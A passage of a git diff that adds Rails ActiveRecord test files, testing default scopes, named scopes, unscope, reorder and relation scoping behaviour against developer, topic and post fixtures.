+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_default_scope_with_module_includes
+ wheres = ModuleIncludedPoorDeveloperCalledJamis.all.where_values_hash
+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_default_scope_with_multiple_calls
+ wheres = MultiplePoorDeveloperCalledJamis.all.where_values_hash
+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_scope_overwrites_default
+ expected = Developer.all.merge!(:order => ' name DESC, salary DESC').to_a.collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.by_name.to_a.collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_reorder_overrides_default_scope_order
+ expected = Developer.order('name DESC').collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.reorder('name DESC').collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_order_after_reorder_combines_orders
+ expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ received = Developer.order('name ASC').reorder('name DESC').order('id DESC').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_overrides_default_scope
+ expected = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received = Developer.order('name ASC, id DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_after_reordering_and_combining
+ expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ received = DeveloperOrderedBySalary.reorder('name DESC').unscope(:order).order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+
+ expected_2 = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received_2 = Developer.order('id DESC, name DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected_2, received_2
+
+ expected_3 = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received_3 = Developer.reorder('name DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected_3, received_3
+ end
+
+ def test_unscope_with_where_attributes
+ expected = Developer.order('salary DESC').collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect { |dev| dev.name }
+ assert_equal expected, received
+
+ expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
+ received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect { |dev| dev.name }
+ assert_equal expected_2, received_2
+
+ expected_3 = Developer.order('salary DESC').collect { |dev| dev.name }
+ received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect { |dev| dev.name }
+ assert_equal expected_3, received_3
+ end
+
+ def test_unscope_multiple_where_clauses
+ expected = Developer.order('salary DESC').collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.where(name: 'Jamis').where(id: 1).unscope(where: [:name, :id]).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_with_grouping_attributes
+ expected = Developer.order('salary DESC').collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect { |dev| dev.name }
+ assert_equal expected, received
+
+ expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
+ received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect { |dev| dev.name }
+ assert_equal expected_2, received_2
+ end
+
+ def test_unscope_with_limit_in_query
+ expected = Developer.order('salary DESC').collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_order_to_unscope_reordering
+ expected = DeveloperOrderedBySalary.all.collect { |dev| [dev.name, dev.id] }
+ received = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_reverse_order
+ expected = Developer.all.collect { |dev| dev.name }
+ received = Developer.order('salary DESC').reverse_order.unscope(:order).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_select
+ expected = Developer.order('salary ASC').collect { |dev| dev.name }
+ received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+ assert_equal expected, received
+
+ expected_2 = Developer.all.collect { |dev| dev.id }
+ received_2 = Developer.select(:name).unscope(:select).collect { |dev| dev.id }
+ assert_equal expected_2, received_2
+ end
+
+ def test_unscope_offset
+ expected = Developer.all.collect { |dev| dev.name }
+ received = Developer.offset(5).unscope(:offset).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_joins_and_select_on_developers_projects
+ expected = Developer.all.collect { |dev| dev.name }
+ received = Developer.joins('JOIN developers_projects ON id = developer_id').select(:id).unscope(:joins, :select).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_includes
+ expected = Developer.all.collect { |dev| dev.name }
+ received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_having
+ expected = DeveloperOrderedBySalary.all.collect { |dev| dev.name }
+ received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect { |dev| dev.name }
+ assert_equal expected, received
+ end
+
+ def test_unscope_and_scope
+ developer_klass = Class.new(Developer) do
+ scope :by_name, -> name { unscope(where: :name).where(name: name) }
+ end
+
+ expected = developer_klass.where(name: 'Jamis').collect { |dev| [dev.name, dev.id] }
+ received = developer_klass.where(name: 'David').by_name('Jamis').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_errors_with_invalid_value
+ assert_raises(ArgumentError) do
+ Developer.includes(:projects).where(name: "Jamis").unscope(:stupidly_incorrect_value)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.all.unscope(:includes, :select, :some_broken_value)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.order('name DESC').reverse_order.unscope(:reverse_order)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.order('name DESC').where(name: "Jamis").unscope()
+ end
+ end
+
+ def test_unscope_errors_with_non_where_hash_keys
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").limit(4).unscope(limit: 4)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").unscope("where" => :name)
+ end
+ end
+
+ def test_unscope_errors_with_non_symbol_or_hash_arguments
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").limit(3).unscope("limit")
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.select("id").unscope("select")
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.select("id").unscope(5)
+ end
+ end
+
+ def test_order_in_default_scope_should_not_prevail
+ expected = Developer.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
+ received = DeveloperOrderedBySalary.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
+ assert_equal expected, received
+ end
+
+ def test_create_attribute_overwrites_default_scoping
+ assert_equal 'David', PoorDeveloperCalledJamis.create!(:name => 'David').name
+ assert_equal 200000, PoorDeveloperCalledJamis.create!(:name => 'David', :salary => 200000).salary
+ end
+
+ def test_create_attribute_overwrites_default_values
+ assert_equal nil, PoorDeveloperCalledJamis.create!(:salary => nil).salary
+ assert_equal 50000, PoorDeveloperCalledJamis.create!(:name => 'David').salary
+ end
+
+ def test_default_scope_attribute
+ jamis = PoorDeveloperCalledJamis.new(:name => 'David')
+ assert_equal 50000, jamis.salary
+ end
+
+ def test_where_attribute
+ aaron = PoorDeveloperCalledJamis.where(:salary => 20).new(:name => 'Aaron')
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_where_attribute_merge
+ aaron = PoorDeveloperCalledJamis.where(:name => 'foo').new(:name => 'Aaron')
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_scope_composed_by_limit_and_then_offset_is_equal_to_scope_composed_by_offset_and_then_limit
+ posts_limit_offset = Post.limit(3).offset(2)
+ posts_offset_limit = Post.offset(2).limit(3)
+ assert_equal posts_limit_offset, posts_offset_limit
+ end
+
+ def test_create_with_merge
+ aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).merge(
+ PoorDeveloperCalledJamis.create_with(:name => 'Aaron')).new
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+
+ aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).
+ create_with(:name => 'Aaron').new
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_create_with_reset
+ jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with(nil).new
+ assert_equal 'Jamis', jamis.name
+ end
+
+ # FIXME: I don't know if this is *desired* behavior, but it is *today's*
+ # behavior.
+ def test_create_with_empty_hash_will_not_reset
+ jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with({}).new
+ assert_equal 'Aaron', jamis.name
+ end
+
+ def test_unscoped_with_named_scope_should_not_have_default_scope
+ assert_equal [DeveloperCalledJamis.find(developers(:poor_jamis).id)], DeveloperCalledJamis.poor
+
+ assert DeveloperCalledJamis.unscoped.poor.include?(developers(:david).becomes(DeveloperCalledJamis))
+
+ assert_equal 11, DeveloperCalledJamis.unscoped.length
+ assert_equal 1, DeveloperCalledJamis.poor.length
+ assert_equal 10, DeveloperCalledJamis.unscoped.poor.length
+ assert_equal 10, DeveloperCalledJamis.unscoped { DeveloperCalledJamis.poor }.length
+ end
+
+ def test_default_scope_select_ignored_by_aggregations
+ assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count
+ end
+
+ def test_default_scope_select_ignored_by_grouped_aggregations
+ assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }],
+ DeveloperWithSelect.group(:salary).count
+ end
+
+ def test_default_scope_order_ignored_by_aggregations
+ assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count
+ end
+
+ def test_default_scope_find_last
+ assert DeveloperOrderedBySalary.count > 1, "need more than one row for test"
+
+ lowest_salary_dev = DeveloperOrderedBySalary.find(developers(:poor_jamis).id)
+ assert_equal lowest_salary_dev, DeveloperOrderedBySalary.last
+ end
+
+ def test_default_scope_include_with_count
+ d = DeveloperWithIncludes.create!
+ d.audit_logs.create! :message => 'foo'
+
+ assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
+ end
+
+ def test_default_scope_is_threadsafe
+ if in_memory_db?
+ skip "in memory db can't share a db between threads"
+ end
+
+ threads = []
+ assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+ threads << Thread.new do
+ Thread.current[:long_default_scope] = true
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ end
+ threads << Thread.new do
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ end
+ threads.each(&:join)
+ end
+end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
new file mode 100644
index 0000000..afe32af
--- /dev/null
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -0,0 +1,467 @@
+require "cases/helper"
+require 'models/post'
+require 'models/topic'
+require 'models/comment'
+require 'models/reply'
+require 'models/author'
+require 'models/developer'
+
+class NamedScopingTest < ActiveRecord::TestCase
+ fixtures :posts, :authors, :topics, :comments, :author_addresses
+
+ def test_implements_enumerable
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base
+ assert_equal Topic.all.to_a, Topic.base.to_a
+ assert_equal Topic.first, Topic.base.first
+ assert_equal Topic.all.to_a, Topic.base.map { |i| i }
+ end
+
+ def test_found_items_are_cached
+ all_posts = Topic.base
+
+ assert_queries(1) do
+ all_posts.collect
+ all_posts.collect
+ end
+ end
+
+ def test_reload_expires_cache_of_found_items
+ all_posts = Topic.base
+ all_posts.to_a
+
+ new_post = Topic.create!
+ assert !all_posts.include?(new_post)
+ assert all_posts.reload.include?(new_post)
+ end
+
+ def test_delegates_finds_and_calculations_to_the_base_class
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base.to_a
+ assert_equal Topic.first, Topic.base.first
+ assert_equal Topic.count, Topic.base.count
+ assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
+ end
+
+ def test_method_missing_priority_when_delegating
+ klazz = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+ scope :since, Proc.new { where('written_on >= ?', Time.now - 1.day) }
+ scope :to, Proc.new { where('written_on <= ?', Time.now) }
+ end
+ assert_equal klazz.to.since.to_a, klazz.since.to.to_a
+ end
+
+ def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
+ assert Topic.approved.respond_to?(:limit)
+ assert Topic.approved.respond_to?(:count)
+ assert Topic.approved.respond_to?(:length)
+ end
+
+ def test_respond_to_respects_include_private_parameter
+ assert !Topic.approved.respond_to?(:tables_in_string)
+ assert Topic.approved.respond_to?(:tables_in_string, true)
+ end
+
+ def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
+ assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
+
+ assert_equal Topic.all.merge!(:where => {:approved => true}).to_a, Topic.approved
+ assert_equal Topic.where(:approved => true).count, Topic.approved.count
+ end
+
+ def test_scopes_with_string_name_can_be_composed
+ # NOTE that scopes defined with a string as a name worked on their own
+ # but when called on another scope the other scope was completely replaced
+ assert_equal Topic.replied.approved, Topic.replied.approved_as_string
+ end
+
+ def test_scopes_are_composable
+ assert_equal((approved = Topic.all.merge!(:where => {:approved => true}).to_a), Topic.approved)
+ assert_equal((replied = Topic.all.merge!(:where => 'replies_count > 0').to_a), Topic.replied)
+ assert !(approved == replied)
+ assert !(approved & replied).empty?
+
+ assert_equal approved & replied, Topic.approved.replied
+ end
+
+ def test_procedural_scopes
+ topics_written_before_the_third = Topic.where('written_on < ?', topics(:third).written_on)
+ topics_written_before_the_second = Topic.where('written_on < ?', topics(:second).written_on)
+ assert_not_equal topics_written_before_the_second, topics_written_before_the_third
+
+ assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
+ assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
+ end
+
+ def test_procedural_scopes_returning_nil
+ all_topics = Topic.all
+
+ assert_equal all_topics, Topic.written_before(nil)
+ end
+
+ def test_scope_with_object
+ objects = Topic.with_object
+ assert_operator objects.length, :>, 0
+ assert objects.all?(&:approved?), 'all objects should be approved'
+ end
+
+ def test_has_many_associations_have_access_to_scopes
+ assert_not_equal Post.containing_the_letter_a, authors(:david).posts
+ assert !Post.containing_the_letter_a.empty?
+
+ assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
+ end
+
+ def test_scope_with_STI
+ assert_equal 3,Post.containing_the_letter_a.count
+ assert_equal 1,SpecialPost.containing_the_letter_a.count
+ end
+
+ def test_has_many_through_associations_have_access_to_scopes
+ assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
+ assert !Comment.containing_the_letter_e.empty?
+
+ assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
+ end
+
+ def test_scopes_honor_current_scopes_from_when_defined
+ assert !Post.ranked_by_comments.limit_by(5).empty?
+ assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
+ assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
+ assert_not_equal Post.top(5), authors(:david).posts.top(5)
+ # Oracle sometimes sorts differently if WHERE condition is changed
+ assert_equal authors(:david).posts.ranked_by_comments.limit_by(5).to_a.sort_by(&:id), authors(:david).posts.top(5).to_a.sort_by(&:id)
+ assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
+ end
+
+ def test_active_records_have_scope_named__all__
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base
+ end
+
+ def test_active_records_have_scope_named__scoped__
+ scope = Topic.where("content LIKE '%Have%'")
+ assert !scope.empty?
+
+ assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
+ end
+
+ def test_first_and_last_should_allow_integers_for_limit
+ assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
+ assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
+ end
+
+ def test_first_and_last_should_not_use_query_when_results_are_loaded
+ topics = Topic.base
+ topics.reload # force load
+ assert_no_queries do
+ topics.first
+ topics.last
+ end
+ end
+
+ def test_empty_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.empty? # use count query
+ topics.collect # force load
+ topics.empty? # use loaded (no query)
+ end
+ end
+
+ def test_any_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.any? # use count query
+ topics.collect # force load
+ topics.any? # use loaded (no query)
+ end
+ end
+
+ def test_any_should_call_proxy_found_if_using_a_block
+ topics = Topic.base
+ assert_queries(1) do
+ topics.expects(:empty?).never
+ topics.any? { true }
+ end
+ end
+
+ def test_any_should_not_fire_query_if_scope_loaded
+ topics = Topic.base
+ topics.collect # force load
+ assert_no_queries { assert topics.any? }
+ end
+
+ def test_model_class_should_respond_to_any
+ assert Topic.any?
+ Topic.delete_all
+ assert !Topic.any?
+ end
+
+ def test_many_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.many? # use count query
+ topics.collect # force load
+ topics.many? # use loaded (no query)
+ end
+ end
+
+ def test_many_should_call_proxy_found_if_using_a_block
+ topics = Topic.base
+ assert_queries(1) do
+ topics.expects(:size).never
+ topics.many? { true }
+ end
+ end
+
+ def test_many_should_not_fire_query_if_scope_loaded
+ topics = Topic.base
+ topics.collect # force load
+ assert_no_queries { assert topics.many? }
+ end
+
+ def test_many_should_return_false_if_none_or_one
+ topics = Topic.base.where(:id => 0)
+ assert !topics.many?
+ topics = Topic.base.where(:id => 1)
+ assert !topics.many?
+ end
+
+ def test_many_should_return_true_if_more_than_one
+ assert Topic.base.many?
+ end
+
+ def test_model_class_should_respond_to_many
+ Topic.delete_all
+ assert !Topic.many?
+ Topic.create!
+ assert !Topic.many?
+ Topic.create!
+ assert Topic.many?
+ end
+
+ def test_should_build_on_top_of_scope
+ topic = Topic.approved.build({})
+ assert topic.approved
+ end
+
+ def test_should_build_new_on_top_of_scope
+ topic = Topic.approved.new
+ assert topic.approved
+ end
+
+ def test_should_create_on_top_of_scope
+ topic = Topic.approved.create({})
+ assert topic.approved
+ end
+
+ def test_should_create_with_bang_on_top_of_scope
+ topic = Topic.approved.create!({})
+ assert topic.approved
+ end
+
+ def test_should_build_on_top_of_chained_scopes
+ topic = Topic.approved.by_lifo.build({})
+ assert topic.approved
+ assert_equal 'lifo', topic.author_name
+ end
+
+ # Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
+ # has been done by evaluating a string with a plain def statement. For scope
+ # names which contain spaces this approach doesn't work.
+ def test_spaces_in_scope_names
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+ scope :"title containing space", -> { where("title LIKE '% %'") }
+ scope :approved, -> { where(:approved => true) }
+ end
+ assert_equal klass.send(:"title containing space"), klass.where("title LIKE '% %'")
+ assert_equal klass.approved.send(:"title containing space"), klass.approved.where("title LIKE '% %'")
+ end
+
+ def test_find_all_should_behave_like_select
+ assert_equal Topic.base.to_a.select(&:approved), Topic.base.to_a.find_all(&:approved)
+ end
+
+ def test_rand_should_select_a_random_object_from_proxy
+ assert_kind_of Topic, Topic.approved.sample
+ end
+
+ def test_should_use_where_in_query_for_scope
+ assert_equal Developer.where(name: 'Jamis').to_set, Developer.where(id: Developer.jamises).to_set
+ end
+
+ def test_size_should_use_count_when_results_are_not_loaded
+ topics = Topic.base
+ assert_queries(1) do
+ assert_sql(/COUNT/i) { topics.size }
+ end
+ end
+
+ def test_size_should_use_length_when_results_are_loaded
+ topics = Topic.base
+ topics.reload # force load
+ assert_no_queries do
+ topics.size # use loaded (no query)
+ end
+ end
+
+ def test_should_not_duplicates_where_values
+ where_values = Topic.where("1=1").scope_with_lambda.where_values
+ assert_equal ["1=1"], where_values
+ end
+
+ def test_chaining_with_duplicate_joins
+ join = "INNER JOIN comments ON comments.post_id = posts.id"
+ post = Post.find(1)
+ assert_equal post.comments.size, Post.joins(join).joins(join).where("posts.id = #{post.id}").size
+ end
+
+ def test_chaining_applies_last_conditions_when_creating
+ post = Topic.rejected.new
+ assert !post.approved?
+
+ post = Topic.rejected.approved.new
+ assert post.approved?
+
+ post = Topic.approved.rejected.new
+ assert !post.approved?
+
+ post = Topic.approved.rejected.approved.new
+ assert post.approved?
+ end
+
+ def test_chaining_combines_conditions_when_searching
+ # Normal hash conditions
+ assert_equal Topic.where(approved: false).where(approved: true).to_a, Topic.rejected.approved.to_a
+ assert_equal Topic.where(approved: true).where(approved: false).to_a, Topic.approved.rejected.to_a
+
+ # Nested hash conditions with same keys
+ assert_equal [], Post.with_special_comments.with_very_special_comments.to_a
+
+ # Nested hash conditions with different keys
+ assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
+ end
+
+ def test_scopes_batch_finders
+ assert_equal 3, Topic.approved.count
+
+ assert_queries(4) do
+ Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
+ end
+
+ assert_queries(2) do
+ Topic.approved.find_in_batches(:batch_size => 2) do |group|
+ group.each {|t| assert t.approved? }
+ end
+ end
+ end
+
+ def test_table_names_for_chaining_scopes_with_and_without_table_name_included
+ assert_nothing_raised do
+ Comment.for_first_post.for_first_author.to_a
+ end
+ end
+
+ def test_scopes_on_relations
+ # Topic.replied
+ approved_topics = Topic.all.approved.order('id DESC')
+ assert_equal topics(:fourth), approved_topics.first
+
+ replied_approved_topics = approved_topics.replied
+ assert_equal topics(:third), replied_approved_topics.first
+ end
+
+ def test_index_on_scope
+ approved = Topic.approved.order('id ASC')
+ assert_equal topics(:second), approved[0]
+ assert approved.loaded?
+ end
+
+ def test_nested_scopes_queries_size
+ assert_queries(1) do
+ Topic.approved.by_lifo.replied.written_before(Time.now).to_a
+ end
+ end
+
+ # Note: these next two are kinda odd because they are essentially just testing that the
+ # query cache works as it should, but they are here for legacy reasons as they was previously
+ # a separate cache on association proxies, and these show that that is not necessary.
+ def test_scopes_are_cached_on_associations
+ post = posts(:welcome)
+
+ Post.cache do
+ assert_queries(1) { post.comments.containing_the_letter_e.to_a }
+ assert_no_queries { post.comments.containing_the_letter_e.to_a }
+ end
+ end
+
+ def test_scopes_with_arguments_are_cached_on_associations
+ post = posts(:welcome)
+
+ Post.cache do
+ one = assert_queries(1) { post.comments.limit_by(1).to_a }
+ assert_equal 1, one.size
+
+ two = assert_queries(1) { post.comments.limit_by(2).to_a }
+ assert_equal 2, two.size
+
+ assert_no_queries { post.comments.limit_by(1).to_a }
+ assert_no_queries { post.comments.limit_by(2).to_a }
+ end
+ end
+
+ def test_scopes_to_get_newest
+ post = posts(:welcome)
+ old_last_comment = post.comments.newest
+ new_comment = post.comments.create(:body => "My new comment")
+ assert_equal new_comment, post.comments.newest
+ assert_not_equal old_last_comment, post.comments.newest
+ end
+
+ def test_scopes_are_reset_on_association_reload
+ post = posts(:welcome)
+
+ [:destroy_all, :reset, :delete_all].each do |method|
+ before = post.comments.containing_the_letter_e
+ post.association(:comments).send(method)
+ assert before.object_id != post.comments.containing_the_letter_e.object_id, "CollectionAssociation##{method} should reset the named scopes cache"
+ end
+ end
+
+ def test_scoped_are_lazy_loaded_if_table_still_does_not_exist
+ assert_nothing_raised do
+ require "models/without_table"
+ end
+ end
+
+ def test_eager_scopes_are_deprecated
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'posts'
+
+ assert_deprecated do
+ klass.scope :welcome_2, klass.where(:id => posts(:welcome).id)
+ end
+ assert_equal [posts(:welcome).title], klass.welcome_2.map(&:title)
+ end
+
+ def test_eager_default_scope_relations_are_deprecated
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'posts'
+
+ assert_deprecated do
+ klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
+ end
+ assert_equal [posts(:welcome).title], klass.all.map(&:title)
+ end
+
+ def test_subclass_merges_scopes_properly
+ assert_equal 1, SpecialComment.where(body: 'go crazy').created.count
+ end
+
+end
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
new file mode 100644
index 0000000..0018fc0
--- /dev/null
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -0,0 +1,331 @@
+require "cases/helper"
+require 'models/post'
+require 'models/author'
+require 'models/developer'
+require 'models/project'
+require 'models/comment'
+require 'models/category'
+require 'models/person'
+require 'models/reference'
+
+class RelationScopingTest < ActiveRecord::TestCase
+ fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
+
+ def test_reverse_order
+ assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
+ end
+
+ def test_reverse_order_with_arel_node
+ assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order
+ end
+
+ def test_reverse_order_with_multiple_arel_nodes
+ assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order
+ end
+
+ def test_reverse_order_with_arel_nodes_and_strings
+ assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order
+ end
+
+ def test_double_reverse_order_produces_original_order
+ assert_equal Developer.order("name DESC"), Developer.order("name DESC").reverse_order.reverse_order
+ end
+
+ def test_scoped_find
+ Developer.where("name = 'David'").scoping do
+ assert_nothing_raised { Developer.find(1) }
+ end
+ end
+
+ def test_scoped_find_first
+ developer = Developer.find(10)
+ Developer.where("salary = 100000").scoping do
+ assert_equal developer, Developer.order("name").first
+ end
+ end
+
+ def test_scoped_find_last
+ highest_salary = Developer.order("salary DESC").first
+
+ Developer.order("salary").scoping do
+ assert_equal highest_salary, Developer.last
+ end
+ end
+
+ def test_scoped_find_last_preserves_scope
+ lowest_salary = Developer.order("salary ASC").first
+ highest_salary = Developer.order("salary DESC").first
+
+ Developer.order("salary").scoping do
+ assert_equal highest_salary, Developer.last
+ assert_equal lowest_salary, Developer.first
+ end
+ end
+
+ def test_scoped_find_combines_and_sanitizes_conditions
+ Developer.where("salary = 9000").scoping do
+ assert_equal developers(:poor_jamis), Developer.where("name = 'Jamis'").first
+ end
+ end
+
+ def test_scoped_find_all
+ Developer.where("name = 'David'").scoping do
+ assert_equal [developers(:david)], Developer.all
+ end
+ end
+
+ def test_scoped_find_select
+ Developer.select("id, name").scoping do
+ developer = Developer.where("name = 'David'").first
+ assert_equal "David", developer.name
+ assert !developer.has_attribute?(:salary)
+ end
+ end
+
+ def test_scope_select_concatenates
+ Developer.select("id, name").scoping do
+ developer = Developer.select('salary').where("name = 'David'").first
+ assert_equal 80000, developer.salary
+ assert developer.has_attribute?(:id)
+ assert developer.has_attribute?(:name)
+ assert developer.has_attribute?(:salary)
+ end
+ end
+
+ def test_scoped_count
+ Developer.where("name = 'David'").scoping do
+ assert_equal 1, Developer.count
+ end
+
+ Developer.where('salary = 100000').scoping do
+ assert_equal 8, Developer.count
+ assert_equal 1, Developer.where("name LIKE 'fixture_1%'").count
+ end
+ end
+
+ def test_scoped_find_include
+ # with the include, will retrieve only developers for the given project
+ scoped_developers = Developer.includes(:projects).scoping do
+ Developer.where('projects.id' => 2).to_a
+ end
+ assert scoped_developers.include?(developers(:david))
+ assert !scoped_developers.include?(developers(:jamis))
+ assert_equal 1, scoped_developers.size
+ end
+
+ def test_scoped_find_joins
+ scoped_developers = Developer.joins('JOIN developers_projects ON id = developer_id').scoping do
+ Developer.where('developers_projects.project_id = 2').to_a
+ end
+
+ assert scoped_developers.include?(developers(:david))
+ assert !scoped_developers.include?(developers(:jamis))
+ assert_equal 1, scoped_developers.size
+ assert_equal developers(:david).attributes, scoped_developers.first.attributes
+ end
+
+ def test_scoped_create_with_where
+ new_comment = VerySpecialComment.where(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_scoped_create_with_create_with
+ new_comment = VerySpecialComment.create_with(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_scoped_create_with_create_with_has_higher_priority
+ new_comment = VerySpecialComment.where(:post_id => 2).create_with(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_ensure_that_method_scoping_is_correctly_restored
+ begin
+ Developer.where("name = 'Jamis'").scoping do
+ raise "an exception"
+ end
+ rescue
+ end
+
+ assert !Developer.all.where_values.include?("name = 'Jamis'")
+ end
+
+ def test_default_scope_filters_on_joins
+ assert_equal 1, DeveloperFilteredOnJoins.all.count
+ assert_equal DeveloperFilteredOnJoins.all.first, developers(:david).becomes(DeveloperFilteredOnJoins)
+ end
+
+ def test_update_all_default_scope_filters_on_joins
+ DeveloperFilteredOnJoins.update_all(:salary => 65000)
+ assert_equal 65000, Developer.find(developers(:david).id).salary
+
+ # has not changed jamis
+ assert_not_equal 65000, Developer.find(developers(:jamis).id).salary
+ end
+
+ def test_delete_all_default_scope_filters_on_joins
